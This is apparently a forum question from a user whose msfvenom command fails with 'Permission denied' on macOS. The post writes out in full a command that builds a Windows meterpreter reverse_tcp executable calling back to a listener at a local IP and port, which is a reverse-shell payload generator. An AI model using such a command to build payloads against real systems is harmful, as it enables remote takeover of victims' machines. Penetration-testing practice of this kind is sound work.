title: Generating a payload with 'msfvenom' gives "Permission denied" on macOS
body: <p>I am trying to create a metasploit payload using msfvenom with the following command:</p>
  <p><code>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=3333 -f exe -o /Users/&lt;UserNameHere&gt;/Desktop  &gt; shell.exe</code></p>
  <p>But when that is executed I get: <code>-bash: shell.exe: Permission denied</code></p>
  <p>even though i tried running it with sudo and logging in as root with <code>dsenableroot</code>. I'm not sure what is wrong or where to look for an answer.</p>